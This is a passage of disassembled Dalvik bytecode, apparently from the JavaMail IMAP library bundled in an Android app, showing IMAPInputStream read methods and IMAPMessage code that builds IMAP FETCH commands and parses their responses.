00000002 iget v0, p0, IMAPInputStream->bufcount:I
00000006 iget v1, p0, IMAPInputStream->bufpos:I
:A
0000000A sub-int/2addr v0, v1
0000000C monitor-exit p0
0000000E return v0
:10
00000010 move-exception v0
00000012 monitor-exit p0
00000014 throw v0
.catchall {:2 .. :A} :10
.end method
.method public declared-synchronized read()I
.registers 4
00000000 monitor-enter p0
:2
00000002 iget v0, p0, IMAPInputStream->bufpos:I
00000006 iget v1, p0, IMAPInputStream->bufcount:I
0000000A if-lt v0, v1, :26
:E
0000000E invoke-direct IMAPInputStream->fill()V, p0
00000014 iget v0, p0, IMAPInputStream->bufpos:I
00000018 iget v1, p0, IMAPInputStream->bufcount:I
:1C
0000001C if-lt v0, v1, :26
:20
00000020 const/4 v0, 0xFFFFFFFFFFFFFFFF
:22
00000022 monitor-exit p0
00000024 return v0
:26
00000026 iget-object v0, p0, IMAPInputStream->buf:[B
0000002A iget v1, p0, IMAPInputStream->bufpos:I
0000002E add-int/lit8 v2, v1, 0x1
00000032 iput v2, p0, IMAPInputStream->bufpos:I
00000036 aget-byte v0, v0, v1
:3A
0000003A and-int/lit16 v0, v0, 0xFF
0000003E goto :22
:40
00000040 move-exception v0
00000042 monitor-exit p0
00000044 throw v0
.catchall {:2 .. :1C} :40
.catchall {:26 .. :3A} :40
.end method
.method public read([B)I
.registers 4
00000000 const/4 v0, 0x0
00000002 array-length v1, p1
00000004 invoke-virtual IMAPInputStream->read([B, I, I)I, p0, p1, v0, v1
0000000A move-result v0
0000000C return v0
.end method
.method public declared-synchronized read([B, I, I)I
.registers 7
00000000 monitor-enter p0
:2
00000002 iget v0, p0, IMAPInputStream->bufcount:I
00000006 iget v1, p0, IMAPInputStream->bufpos:I
0000000A sub-int/2addr v0, v1
0000000C if-gtz v0, :2A
:10
00000010 invoke-direct IMAPInputStream->fill()V, p0
00000016 iget v0, p0, IMAPInputStream->bufcount:I
0000001A iget v1, p0, IMAPInputStream->bufpos:I
:1E
0000001E sub-int/2addr v0, v1
00000020 if-gtz v0, :2A
:24
00000024 const/4 v0, 0xFFFFFFFFFFFFFFFF
:26
00000026 monitor-exit p0
00000028 return v0
:2A
0000002A if-ge v0, p3, :4E
:2E
0000002E iget-object v1, p0, IMAPInputStream->buf:[B
00000032 iget v2, p0, IMAPInputStream->bufpos:I
00000036 invoke-static System->arraycopy(Object, I, Object, I, I)V, v1, v2, p1, p2, v0
0000003C iget v1, p0, IMAPInputStream->bufpos:I
00000040 add-int/2addr v1, v0
00000042 iput v1, p0, IMAPInputStream->bufpos:I
:46
00000046 goto :26
:48
00000048 move-exception v0
0000004A monitor-exit p0
0000004C throw v0
:4E
0000004E move v0, p3
00000050 goto :2E
.catchall {:2 .. :1E} :48
.catchall {:2E .. :46} :48
.end method
#--------------------------------------------------------------------------------
.class public abstract interface Utility$Condition
.super Object
.source ""
.method public abstract test(IMAPMessage)Z
.end method
#--------------------------------------------------------------------------------
.class IMAPMessage$1FetchProfileCondition
.super Object
.source ""
.implements Utility$Condition
.field private hdrs:[String
.field private needBodyStructure:Z
.field private needEnvelope:Z
.field private needFlags:Z
.field private needHeaders:Z
.field private needSize:Z
.field private needUID:Z
.method public constructor <init>(FetchProfile)V
.registers 4
00000000 const/4 v1, 0x1
00000002 const/4 v0, 0x0
00000004 invoke-direct Object-><init>()V, p0
0000000A iput-boolean v0, p0, IMAPMessage$1FetchProfileCondition->needEnvelope:Z
0000000E iput-boolean v0, p0, IMAPMessage$1FetchProfileCondition->needFlags:Z
00000012 iput-boolean v0, p0, IMAPMessage$1FetchProfileCondition->needBodyStructure:Z
00000016 iput-boolean v0, p0, IMAPMessage$1FetchProfileCondition->needUID:Z
0000001A iput-boolean v0, p0, IMAPMessage$1FetchProfileCondition->needHeaders:Z
0000001E iput-boolean v0, p0, IMAPMessage$1FetchProfileCondition->needSize:Z
00000022 const/4 v0, 0x0
00000024 iput-object v0, p0, IMAPMessage$1FetchProfileCondition->hdrs:[String
00000028 sget-object v0, FetchProfile$Item->ENVELOPE:FetchProfile$Item
0000002C invoke-virtual FetchProfile->contains(FetchProfile$Item)Z, p1, v0
00000032 move-result v0
00000034 if-eqz v0, :3C
:38
00000038 iput-boolean v1, p0, IMAPMessage$1FetchProfileCondition->needEnvelope:Z
:3C
0000003C sget-object v0, FetchProfile$Item->FLAGS:FetchProfile$Item
00000040 invoke-virtual FetchProfile->contains(FetchProfile$Item)Z, p1, v0
00000046 move-result v0
00000048 if-eqz v0, :50
:4C
0000004C iput-boolean v1, p0, IMAPMessage$1FetchProfileCondition->needFlags:Z
:50
00000050 sget-object v0, FetchProfile$Item->CONTENT_INFO:FetchProfile$Item
00000054 invoke-virtual FetchProfile->contains(FetchProfile$Item)Z, p1, v0
0000005A move-result v0
0000005C if-eqz v0, :64
:60
00000060 iput-boolean v1, p0, IMAPMessage$1FetchProfileCondition->needBodyStructure:Z
:64
00000064 sget-object v0, UIDFolder$FetchProfileItem->UID:UIDFolder$FetchProfileItem
00000068 invoke-virtual FetchProfile->contains(FetchProfile$Item)Z, p1, v0
0000006E move-result v0
00000070 if-eqz v0, :78
:74
00000074 iput-boolean v1, p0, IMAPMessage$1FetchProfileCondition->needUID:Z
:78
00000078 sget-object v0, IMAPFolder$FetchProfileItem->HEADERS:IMAPFolder$FetchProfileItem
0000007C invoke-virtual FetchProfile->contains(FetchProfile$Item)Z, p1, v0
00000082 move-result v0
00000084 if-eqz v0, :8C
:88
00000088 iput-boolean v1, p0, IMAPMessage$1FetchProfileCondition->needHeaders:Z
:8C
0000008C sget-object v0, IMAPFolder$FetchProfileItem->SIZE:IMAPFolder$FetchProfileItem
00000090 invoke-virtual FetchProfile->contains(FetchProfile$Item)Z, p1, v0
00000096 move-result v0
00000098 if-eqz v0, :A0
:9C
0000009C iput-boolean v1, p0, IMAPMessage$1FetchProfileCondition->needSize:Z
:A0
000000A0 invoke-virtual FetchProfile->getHeaderNames()[String, p1
000000A6 move-result-object v0
000000A8 iput-object v0, p0, IMAPMessage$1FetchProfileCondition->hdrs:[String
000000AC return-void
.end method
.method public test(IMAPMessage)Z
.registers 9
00000000 const/4 v1, 0x0
00000002 const/4 v2, 0x1
00000004 iget-boolean v0, p0, IMAPMessage$1FetchProfileCondition->needEnvelope:Z
00000008 if-eqz v0, :1C
:C
0000000C invoke-static IMAPMessage->access$0(IMAPMessage)ENVELOPE, p1
00000012 move-result-object v0
00000014 if-nez v0, :1C
:18
00000018 move v1, v2
:1A
0000001A return v1
:1C
0000001C iget-boolean v0, p0, IMAPMessage$1FetchProfileCondition->needFlags:Z
00000020 if-eqz v0, :34
:24
00000024 invoke-static IMAPMessage->access$1(IMAPMessage)Flags, p1
0000002A move-result-object v0
0000002C if-nez v0, :34
:30
00000030 move v1, v2
00000032 goto :1A
:34
00000034 iget-boolean v0, p0, IMAPMessage$1FetchProfileCondition->needBodyStructure:Z
00000038 if-eqz v0, :4C
:3C
0000003C invoke-static IMAPMessage->access$2(IMAPMessage)BODYSTRUCTURE, p1
00000042 move-result-object v0
00000044 if-nez v0, :4C
:48
00000048 move v1, v2
0000004A goto :1A
:4C
0000004C iget-boolean v0, p0, IMAPMessage$1FetchProfileCondition->needUID:Z
00000050 if-eqz v0, :6C
:54
00000054 invoke-virtual IMAPMessage->getUID()J, p1
0000005A move-result-wide v3
0000005C const-wide/16 v5, 0xFFFFFFFFFFFFFFFF
00000060 cmp-long v0, v3, v5
00000064 if-nez v0, :6C
:68
00000068 move v1, v2
0000006A goto :1A
:6C
0000006C iget-boolean v0, p0, IMAPMessage$1FetchProfileCondition->needHeaders:Z
00000070 if-eqz v0, :84
:74
00000074 invoke-static IMAPMessage->access$3(IMAPMessage)Z, p1
0000007A move-result v0
0000007C if-nez v0, :84
:80
00000080 move v1, v2
00000082 goto :1A
:84
00000084 iget-boolean v0, p0, IMAPMessage$1FetchProfileCondition->needSize:Z
00000088 if-eqz v0, :9E
:8C
0000008C invoke-static IMAPMessage->access$4(IMAPMessage)I, p1
00000092 move-result v0
00000094 const/4 v3, 0xFFFFFFFFFFFFFFFF
00000096 if-ne v0, v3, :9E
:9A
0000009A move v1, v2
0000009C goto :1A
:9E
0000009E move v0, v1
:A0
000000A0 iget-object v3, p0, IMAPMessage$1FetchProfileCondition->hdrs:[String
000000A4 array-length v3, v3
000000A6 if-ge v0, v3, :1A
:AA
000000AA iget-object v3, p0, IMAPMessage$1FetchProfileCondition->hdrs:[String
000000AE aget-object v3, v3, v0
000000B2 invoke-static IMAPMessage->access$5(IMAPMessage, String)Z, p1, v3
000000B8 move-result v3
000000BA if-nez v3, :C2
:BE
000000BE move v1, v2
000000C0 goto :1A
:C2
000000C2 add-int/lit8 v0, v0, 0x1
000000C6 goto :A0
.end method
#--------------------------------------------------------------------------------
.class public IMAPMessage
.super MimeMessage
.source ""
.field private static EnvelopeCmd:String
.field protected bs:BODYSTRUCTURE
.field private description:String
.field protected envelope:ENVELOPE
.field private headersLoaded:Z
.field private loadedHeaders:Hashtable
.field private peek:Z
.field private receivedDate:Date
.field protected sectionId:String
.field private seqnum:I
.field private size:I
.field private subject:String
.field private type:String
.field private uid:J
.method static constructor <clinit>()V
.registers 1
00000000 const-string v0, "ENVELOPE INTERNALDATE RFC822.SIZE"
00000004 sput-object v0, IMAPMessage->EnvelopeCmd:String
00000008 return-void
.end method
.method protected constructor <init>(IMAPFolder, I, I)V
.registers 6
00000000 invoke-direct MimeMessage-><init>(Folder, I)V, p0, p1, p2
00000006 const/4 v0, 0xFFFFFFFFFFFFFFFF
00000008 iput v0, p0, IMAPMessage->size:I
0000000C const-wide/16 v0, 0xFFFFFFFFFFFFFFFF
00000010 iput-wide v0, p0, IMAPMessage->uid:J
00000014 const/4 v0, 0x0
00000016 iput-boolean v0, p0, IMAPMessage->headersLoaded:Z
0000001A iput p3, p0, IMAPMessage->seqnum:I
0000001E const/4 v0, 0x0
00000020 iput-object v0, p0, IMAPMessage->flags:Flags
00000024 return-void
.end method
.method protected constructor <init>(Session)V
.registers 4
00000000 invoke-direct MimeMessage-><init>(Session)V, p0, p1
00000006 const/4 v0, 0xFFFFFFFFFFFFFFFF
00000008 iput v0, p0, IMAPMessage->size:I
0000000C const-wide/16 v0, 0xFFFFFFFFFFFFFFFF
00000010 iput-wide v0, p0, IMAPMessage->uid:J
00000014 const/4 v0, 0x0
00000016 iput-boolean v0, p0, IMAPMessage->headersLoaded:Z
0000001A return-void
.end method
.method private _getBodyStructure()BODYSTRUCTURE
.registers 2
00000000 iget-object v0, p0, IMAPMessage->bs:BODYSTRUCTURE
00000004 return-object v0
.end method
.method private _getEnvelope()ENVELOPE
.registers 2
00000000 iget-object v0, p0, IMAPMessage->envelope:ENVELOPE
00000004 return-object v0
.end method
.method private _getFlags()Flags
.registers 2
00000000 iget-object v0, p0, IMAPMessage->flags:Flags
00000004 return-object v0
.end method
.method private aaclone([InternetAddress)[InternetAddress
.registers 3
00000000 if-nez p1, :8
:4
00000004 const/4 v0, 0x0
:6
00000006 return-object v0
:8
00000008 invoke-virtual [InternetAddress->clone()Object, p1
0000000E move-result-object v0
00000010 check-cast v0, [InternetAddress
00000014 goto :6
.end method
.method static synthetic access$0(IMAPMessage)ENVELOPE
.registers 2
00000000 invoke-direct IMAPMessage->_getEnvelope()ENVELOPE, p0
00000006 move-result-object v0
00000008 return-object v0
.end method
.method static synthetic access$1(IMAPMessage)Flags
.registers 2
00000000 invoke-direct IMAPMessage->_getFlags()Flags, p0
00000006 move-result-object v0
00000008 return-object v0
.end method
.method static synthetic access$2(IMAPMessage)BODYSTRUCTURE
.registers 2
00000000 invoke-direct IMAPMessage->_getBodyStructure()BODYSTRUCTURE, p0
00000006 move-result-object v0
00000008 return-object v0
.end method
.method static synthetic access$3(IMAPMessage)Z
.registers 2
00000000 invoke-direct IMAPMessage->areHeadersLoaded()Z, p0
00000006 move-result v0
00000008 return v0
.end method
.method static synthetic access$4(IMAPMessage)I
.registers 2
00000000 iget v0, p0, IMAPMessage->size:I
00000004 return v0
.end method
.method static synthetic access$5(IMAPMessage, String)Z
.registers 3
00000000 invoke-direct IMAPMessage->isHeaderLoaded(String)Z, p0, p1
00000006 move-result v0
00000008 return v0
.end method
.method private declared-synchronized areHeadersLoaded()Z
.registers 2
00000000 monitor-enter p0
:2
00000002 iget-boolean v0, p0, IMAPMessage->headersLoaded:Z
:6
00000006 monitor-exit p0
00000008 return v0
:A
0000000A move-exception v0
0000000C monitor-exit p0
0000000E throw v0
.catchall {:2 .. :6} :A
.end method
.method private static craftHeaderCmd(IMAPProtocol, [String)String
.registers 5
00000000 invoke-virtual IMAPProtocol->isREV1()Z, p0
00000006 move-result v0
00000008 if-eqz v0, :42
:C
0000000C new-instance v0, StringBuffer
00000010 const-string v1, "BODY.PEEK[HEADER.FIELDS ("
00000014 invoke-direct StringBuffer-><init>(String)V, v0, v1
:1A
0000001A const/4 v1, 0x0
:1C
0000001C array-length v2, p1
0000001E if-lt v1, v2, :52
:22
00000022 invoke-virtual IMAPProtocol->isREV1()Z, p0
00000028 move-result v1
0000002A if-eqz v1, :70
:2E
0000002E const-string v1, ")]"
00000032 invoke-virtual StringBuffer->append(String)StringBuffer, v0, v1
:38
00000038 invoke-virtual StringBuffer->toString()String, v0
0000003E move-result-object v0
00000040 return-object v0
:42
00000042 new-instance v0, StringBuffer
00000046 const-string v1, "RFC822.HEADER.LINES ("
0000004A invoke-direct StringBuffer-><init>(String)V, v0, v1
00000050 goto :1A
:52
00000052 if-lez v1, :60
:56
00000056 const-string v2, " "
0000005A invoke-virtual StringBuffer->append(String)StringBuffer, v0, v2
:60
00000060 aget-object v2, p1, v1
00000064 invoke-virtual StringBuffer->append(String)StringBuffer, v0, v2
0000006A add-int/lit8 v1, v1, 0x1
0000006E goto :1C
:70
00000070 const-string v1, ")"
00000074 invoke-virtual StringBuffer->append(String)StringBuffer, v0, v1
0000007A goto :38
.end method
.method static fetch(IMAPFolder, [Message, FetchProfile)V
.registers 20
00000000 new-instance v5, StringBuffer
00000004 invoke-direct StringBuffer-><init>()V, v5
0000000A const/4 v1, 0x1
0000000C const/4 v2, 0x0
0000000E sget-object v3, FetchProfile$Item->ENVELOPE:FetchProfile$Item
00000012 move-object/from16 v0, p2
00000016 invoke-virtual FetchProfile->contains(FetchProfile$Item)Z, v0, v3
0000001C move-result v3
0000001E if-eqz v3, :2E
:22
00000022 sget-object v1, IMAPMessage->EnvelopeCmd:String
00000026 invoke-virtual StringBuffer->append(String)StringBuffer, v5, v1
0000002C const/4 v1, 0x0
:2E
0000002E sget-object v3, FetchProfile$Item->FLAGS:FetchProfile$Item
00000032 move-object/from16 v0, p2
00000036 invoke-virtual FetchProfile->contains(FetchProfile$Item)Z, v0, v3
0000003C move-result v3
0000003E if-eqz v3, :52
:42
00000042 if-eqz v1, :166
:46
00000046 const-string v1, "FLAGS"
:4A
0000004A invoke-virtual StringBuffer->append(String)StringBuffer, v5, v1
00000050 const/4 v1, 0x0
:52
00000052 sget-object v3, FetchProfile$Item->CONTENT_INFO:FetchProfile$Item
00000056 move-object/from16 v0, p2
0000005A invoke-virtual FetchProfile->contains(FetchProfile$Item)Z, v0, v3
00000060 move-result v3
00000062 if-eqz v3, :76
:66
00000066 if-eqz v1, :16E
:6A
0000006A const-string v1, "BODYSTRUCTURE"
:6E
0000006E invoke-virtual StringBuffer->append(String)StringBuffer, v5, v1
00000074 const/4 v1, 0x0
:76
00000076 sget-object v3, UIDFolder$FetchProfileItem->UID:UIDFolder$FetchProfileItem
0000007A move-object/from16 v0, p2
0000007E invoke-virtual FetchProfile->contains(FetchProfile$Item)Z, v0, v3
00000084 move-result v3
00000086 if-eqz v3, :9A
:8A
0000008A if-eqz v1, :176
:8E
0000008E const-string v1, "UID"
:92
00000092 invoke-virtual StringBuffer->append(String)StringBuffer, v5, v1
00000098 const/4 v1, 0x0
:9A
0000009A sget-object v3, IMAPFolder$FetchProfileItem->HEADERS:IMAPFolder$FetchProfileItem
0000009E move-object/from16 v0, p2
000000A2 invoke-virtual FetchProfile->contains(FetchProfile$Item)Z, v0, v3
000000A8 move-result v3
000000AA if-eqz v3, :462
:AE
000000AE const/4 v2, 0x1
000000B0 move-object/from16 v0, p0
000000B4 iget-object v3, v0, IMAPFolder->protocol:IMAPProtocol
000000B8 invoke-virtual IMAPProtocol->isREV1()Z, v3
000000BE move-result v3
000000C0 if-eqz v3, :182
:C4
000000C4 if-eqz v1, :17C
:C8
000000C8 const-string v1, "BODY.PEEK[HEADER]"
:CC
000000CC invoke-virtual StringBuffer->append(String)StringBuffer, v5, v1
:D2
000000D2 const/4 v1, 0x0
000000D4 move v3, v2
:D6
000000D6 sget-object v2, IMAPFolder$FetchProfileItem->SIZE:IMAPFolder$FetchProfileItem
000000DA move-object/from16 v0, p2
000000DE invoke-virtual FetchProfile->contains(FetchProfile$Item)Z, v0, v2
000000E4 move-result v2
000000E6 if-eqz v2, :45C
:EA
000000EA if-eqz v1, :198
:EE
000000EE const-string v1, "RFC822.SIZE"
:F2
000000F2 invoke-virtual StringBuffer->append(String)StringBuffer, v5, v1
000000F8 const/4 v1, 0x0
000000FA move v2, v1
:FC
000000FC const/4 v1, 0x0
000000FE check-cast v1, [String
00000102 if-nez v3, :138
:106
00000106 invoke-virtual/range FetchProfile->getHeaderNames()[String, v19 .. v19
0000010C move-result-object v1
0000010E array-length v4, v1
00000110 if-lez v4, :138
:114
00000114 if-nez v2, :122
:118
00000118 const-string v2, " "
0000011C invoke-virtual StringBuffer->append(String)StringBuffer, v5, v2
:122
00000122 move-object/from16 v0, p0
00000126 iget-object v2, v0, IMAPFolder->protocol:IMAPProtocol
0000012A invoke-static IMAPMessage->craftHeaderCmd(IMAPProtocol, [String)String, v2, v1
00000130 move-result-object v2
00000132 invoke-virtual StringBuffer->append(String)StringBuffer, v5, v2
:138
00000138 move-object v4, v1
0000013A new-instance v1, IMAPMessage$1FetchProfileCondition
0000013E move-object/from16 v0, p2
00000142 invoke-direct IMAPMessage$1FetchProfileCondition-><init>(FetchProfile)V, v1, v0
00000148 move-object/from16 v0, p0
0000014C iget-object v9, v0, IMAPFolder->messageCacheLock:Object
00000150 monitor-enter v9
:152
00000152 move-object/from16 v0, p1
00000156 invoke-static Utility->toMessageSet([Message, Utility$Condition)[MessageSet, v0, v1
0000015C move-result-object v2
0000015E if-nez v2, :19E
:162
00000162 monitor-exit v9
:164
00000164 return-void
:166
00000166 const-string v1, " FLAGS"
0000016A goto/16 :4A
:16E
0000016E const-string v1, " BODYSTRUCTURE"
00000172 goto/16 :6E
:176
00000176 const-string v1, " UID"
0000017A goto :92
:17C
0000017C const-string v1, " BODY.PEEK[HEADER]"
00000180 goto :CC
:182
00000182 if-eqz v1, :192
:186
00000186 const-string v1, "RFC822.HEADER"
:18A
0000018A invoke-virtual StringBuffer->append(String)StringBuffer, v5, v1
00000190 goto :D2
:192
00000192 const-string v1, " RFC822.HEADER"
00000196 goto :18A
:198
00000198 const-string v1, " RFC822.SIZE"
0000019C goto :F2
:19E
0000019E const/4 v1, 0x0
:1A0
000001A0 check-cast v1, [Response
000001A4 new-instance v10, Vector
000001A8 invoke-direct Vector-><init>()V, v10
:1AE
000001AE move-object/from16 v0, p0
000001B2 iget-object v6, v0, IMAPFolder->protocol:IMAPProtocol
000001B6 invoke-virtual StringBuffer->toString()String, v5
000001BC move-result-object v5
000001BE invoke-virtual IMAPProtocol->fetch([MessageSet, String)[Response, v6, v2, v5
:1C4
000001C4 move-result-object v1
000001C6 move-object v8, v1
:1C8
000001C8 if-nez v8, :20C
:1CC
000001CC monitor-exit v9
000001CE goto :164
:1D0
000001D0 move-exception v1
000001D2 monitor-exit v9
:1D4
000001D4 throw v1
:1D6
000001D6 move-exception v1
:1D8
000001D8 new-instance v2, FolderClosedException
000001DC invoke-virtual ConnectionException->getMessage()String, v1
000001E2 move-result-object v1
000001E4 move-object/from16 v0, p0
000001E8 invoke-direct FolderClosedException-><init>(Folder, String)V, v2, v0, v1
000001EE throw v2
:1F0
000001F0 move-exception v2
000001F2 move-object v8, v1
000001F4 goto :1C8
:1F6
000001F6 move-exception v1
000001F8 new-instance v2, MessagingException
000001FC invoke-virtual ProtocolException->getMessage()String, v1
00000202 move-result-object v3
00000204 invoke-direct MessagingException-><init>(String, Exception)V, v2, v3, v1
0000020A throw v2
:20C
0000020C const/4 v1, 0x0
0000020E move v7, v1
:210
00000210 array-length v1, v8
00000212 if-lt v7, v1, :23A
:216
00000216 invoke-virtual Vector->size()I, v10
0000021C move-result v1
0000021E if-eqz v1, :236
:222
00000222 new-array v1, v1, [Response
00000226 invoke-virtual Vector->copyInto([Object)V, v10, v1
0000022C move-object/from16 v0, p0
00000230 invoke-virtual IMAPFolder->handleResponses([Response)V, v0, v1
:236
00000236 monitor-exit v9
00000238 goto :164
:23A
0000023A aget-object v1, v8, v7
0000023E if-nez v1, :24A
:242
00000242 add-int/lit8 v1, v7, 0x1
00000246 move v7, v1
00000248 goto :210
:24A
0000024A aget-object v1, v8, v7
0000024E instance-of v1, v1, FetchResponse
00000252 if-nez v1, :262
:256
00000256 aget-object v1, v8, v7
0000025A invoke-virtual Vector->addElement(Object)V, v10, v1
00000260 goto :242
:262
00000262 aget-object v1, v8, v7
00000266 check-cast v1, FetchResponse
0000026A invoke-virtual FetchResponse->getNumber()I, v1
00000270 move-result v2
00000272 move-object/from16 v0, p0
00000276 invoke-virtual IMAPFolder->getMessageBySeqNumber(I)IMAPMessage, v0, v2
0000027C move-result-object v11
0000027E invoke-virtual FetchResponse->getItemCount()I, v1
00000284 move-result v12
00000286 const/4 v5, 0x0
00000288 const/4 v2, 0x0
0000028A move v6, v2
:28C
0000028C if-lt v6, v12, :29C
:290
00000290 if-eqz v5, :242
:294
00000294 invoke-virtual Vector->addElement(Object)V, v10, v1
0000029A goto :242
:29C
0000029C invoke-virtual FetchResponse->getItem(I)Item, v1, v6
000002A2 move-result-object v2
000002A4 instance-of v13, v2, Flags
000002A8 if-eqz v13, :2DC
:2AC
000002AC sget-object v13, FetchProfile$Item->FLAGS:FetchProfile$Item
000002B0 move-object/from16 v0, p2
000002B4 invoke-virtual FetchProfile->contains(FetchProfile$Item)Z, v0, v13
000002BA move-result v13
000002BC if-eqz v13, :2C4
:2C0
000002C0 if-nez v11, :2D0
:2C4
000002C4 const/4 v2, 0x1
:2C6
000002C6 add-int/lit8 v5, v6, 0x1
000002CA move v6, v5
000002CC move v5, v2
000002CE goto :28C
:2D0
000002D0 check-cast v2, Flags
000002D4 iput-object v2, v11, IMAPMessage->flags:Flags
000002D8 move v2, v5
000002DA goto :2C6
:2DC
000002DC instance-of v13, v2, ENVELOPE
000002E0 if-eqz v13, :2F0
:2E4
000002E4 check-cast v2, ENVELOPE
000002E8 iput-object v2, v11, IMAPMessage->envelope:ENVELOPE
000002EC move v2, v5
000002EE goto :2C6
:2F0
000002F0 instance-of v13, v2, INTERNALDATE
000002F4 if-eqz v13, :30C
:2F8
000002F8 check-cast v2, INTERNALDATE
000002FC invoke-virtual INTERNALDATE->getDate()Date, v2
00000302 move-result-object v2
00000304 iput-object v2, v11, IMAPMessage->receivedDate:Date
00000308 move v2, v5
0000030A goto :2C6
:30C
0000030C instance-of v13, v2, RFC822SIZE
00000310 if-eqz v13, :324
:314
00000314 check-cast v2, RFC822SIZE
00000318 iget v2, v2, RFC822SIZE->size:I
0000031C iput v2, v11, IMAPMessage->size:I
00000320 move v2, v5
00000322 goto :2C6
:324
00000324 instance-of v13, v2, BODYSTRUCTURE
00000328 if-eqz v13, :338
:32C
0000032C check-cast v2, BODYSTRUCTURE
00000330 iput-object v2, v11, IMAPMessage->bs:BODYSTRUCTURE
00000334 move v2, v5
00000336 goto :2C6
:338
00000338 instance-of v13, v2, UID
0000033C if-eqz v13, :38A
:340
00000340 check-cast v2, UID
00000344 iget-wide v13, v2, UID->uid:J
00000348 iput-wide v13, v11, IMAPMessage->uid:J
0000034C move-object/from16 v0, p0
00000350 iget-object v13, v0, IMAPFolder->uidTable:Hashtable
00000354 if-nez v13, :36A
:358
00000358 new-instance v13, Hashtable
0000035C invoke-direct Hashtable-><init>()V, v13
00000362 move-object/from16 v0, p0
00000366 iput-object v13, v0, IMAPFolder->uidTable:Hashtable
:36A
0000036A move-object/from16 v0, p0
0000036E iget-object v13, v0, IMAPFolder->uidTable:Hashtable
00000372 new-instance v14, Long
00000376 iget-wide v15, v2, UID->uid:J
0000037A invoke-direct/range Long-><init>(J)V, v14 .. v16
00000380 invoke-virtual Hashtable->put(Object, Object)Object, v13, v14, v11
00000386 move v2, v5
00000388 goto :2C6
:38A
0000038A instance-of v13, v2, RFC822DATA
0000038E if-nez v13, :39A
:392
00000392 instance-of v13, v2, BODY
00000396 if-eqz v13, :446
:39A
0000039A instance-of v13, v2, RFC822DATA
0000039E if-eqz v13, :3E0
:3A2
000003A2 check-cast v2, RFC822DATA
000003A6 invoke-virtual RFC822DATA->getByteArrayInputStream()ByteArrayInputStream, v2
000003AC move-result-object v2
:3AE
000003AE new-instance v13, InternetHeaders
000003B2 invoke-direct InternetHeaders-><init>()V, v13
000003B8 invoke-virtual InternetHeaders->load(InputStream)V, v13, v2
000003BE iget-object v2, v11, IMAPMessage->headers:InternetHeaders
000003C2 if-eqz v2, :3CA
:3C6
000003C6 if-eqz v3, :3EE
:3CA
000003CA iput-object v13, v11, IMAPMessage->headers:InternetHeaders
:3CE
000003CE if-eqz v3, :43E
:3D2
000003D2 const/4 v2, 0x1
000003D4 invoke-direct IMAPMessage->setHeadersLoaded(Z)V, v11, v2
000003DA move v2, v5
000003DC goto/16 :2C6
:3E0
000003E0 check-cast v2, BODY
000003E4 invoke-virtual BODY->getByteArrayInputStream()ByteArrayInputStream, v2
000003EA move-result-object v2
000003EC goto :3AE
:3EE
000003EE invoke-virtual InternetHeaders->getAllHeaders()Enumeration, v13
000003F4 move-result-object v13
:3F6
000003F6 invoke-interface Enumeration->hasMoreElements()Z, v13
000003FC move-result v2
000003FE if-eqz v2, :3CE
:402
00000402 invoke-interface Enumeration->nextElement()Object, v13
00000408 move-result-object v2
0000040A check-cast v2, Header
0000040E invoke-virtual Header->getName()String, v2
00000414 move-result-object v14
00000416 invoke-direct IMAPMessage->isHeaderLoaded(String)Z, v11, v14
0000041C move-result v14
0000041E if-nez v14, :3F6
:422
00000422 iget-object v14, v11, IMAPMessage->headers:InternetHeaders
00000426 invoke-virtual Header->getName()String, v2
0000042C move-result-object v15
0000042E invoke-virtual Header->getValue()String, v2
00000434 move-result-object v2
00000436 invoke-virtual InternetHeaders->addHeader(String, String)V, v14, v15, v2
0000043C goto :3F6
:43E
0000043E const/4 v2, 0x0
:440
00000440 array-length v13, v4
00000442 if-lt v2, v13, :44C
:446
00000446 move v2, v5
00000448 goto/16 :2C6
:44C
0000044C aget-object v13, v4, v2
00000450 invoke-direct IMAPMessage->setHeaderLoaded(String)V, v11, v13
:456
00000456 add-int/lit8 v2, v2, 0x1
0000045A goto :440
:45C
0000045C move v2, v1
0000045E goto/16 :FC
:462
00000462 move v3, v2
00000464 goto/16 :D6
.catchall {:152 .. :164} :1D0
.catchall {:1A0 .. :1AE} :1D0
.catch ConnectionException {:1AE .. :1C4} :1D6
.catch CommandFailedException {:1AE .. :1C4} :1F0
.catch ProtocolException {:1AE .. :1C4} :1F6
.catchall {:1AE .. :1C4} :1D0
.catchall {:1CC .. :1D4} :1D0
.catchall {:1D8 .. :456} :1D0
.end method
.method private declared-synchronized isHeaderLoaded(String)Z
.registers 4
00000000 monitor-enter p0
:2
00000002 iget-boolean v0, p0, IMAPMessage->headersLoaded:Z
:6
00000006 if-eqz v0, :10
:A
0000000A const/4 v0, 0x1
:C
0000000C monitor-exit p0
0000000E return v0
:10
00000010 iget-object v0, p0, IMAPMessage->loadedHeaders:Hashtable
00000014 if-eqz v0, :32
:18
00000018 iget-object v0, p0, IMAPMessage->loadedHeaders:Hashtable
0000001C sget-object v1, Locale->ENGLISH:Locale
00000020 invoke-virtual String->toUpperCase(Locale)String, p1, v1
00000026 move-result-object v1
00000028 invoke-virtual Hashtable->containsKey(Object)Z, v0, v1
:2E
0000002E move-result v0
00000030 goto :C
:32
00000032 const/4 v0, 0x0
00000034 goto :C
:36
00000036 move-exception v0
00000038 monitor-exit p0
0000003A throw v0
.catchall {:2 .. :6} :36
.catchall {:10 .. :2E} :36
.end method
.method private declared-synchronized loadBODYSTRUCTURE()V
.registers 5
00000000 monitor-enter p0
:2
00000002 iget-object v0, p0, IMAPMessage->bs:BODYSTRUCTURE
:6
00000006 if-eqz v0, :E
:A
0000000A monitor-exit p0
0000000C return-void
:E
0000000E invoke-virtual IMAPMessage->getMessageCacheLock()Object, p0
00000014 move-result-object v1
00000016 monitor-enter v1
:18
00000018 invoke-virtual IMAPMessage->getProtocol()IMAPProtocol, p0
0000001E move-result-object v0
00000020 invoke-virtual IMAPMessage->checkExpunged()V, p0
00000026 invoke-virtual IMAPMessage->getSequenceNumber()I, p0
0000002C move-result v2
0000002E invoke-virtual IMAPProtocol->fetchBodyStructure(I)BODYSTRUCTURE, v0, v2
00000034 move-result-object v0
00000036 iput-object v0, p0, IMAPMessage->bs:BODYSTRUCTURE
:3A
0000003A iget-object v0, p0, IMAPMessage->bs:BODYSTRUCTURE
0000003E if-nez v0, :9A
:42
00000042 invoke-virtual IMAPMessage->forceCheckExpunged()V, p0
00000048 new-instance v0, MessagingException
0000004C const-string v2, "Unable to load BODYSTRUCTURE"
00000050 invoke-direct MessagingException-><init>(String)V, v0, v2
00000056 throw v0
:58
00000058 move-exception v0
0000005A monitor-exit v1
:5C
0000005C throw v0
:5E
0000005E move-exception v0
00000060 monitor-exit p0
00000062 throw v0
:64
00000064 move-exception v0
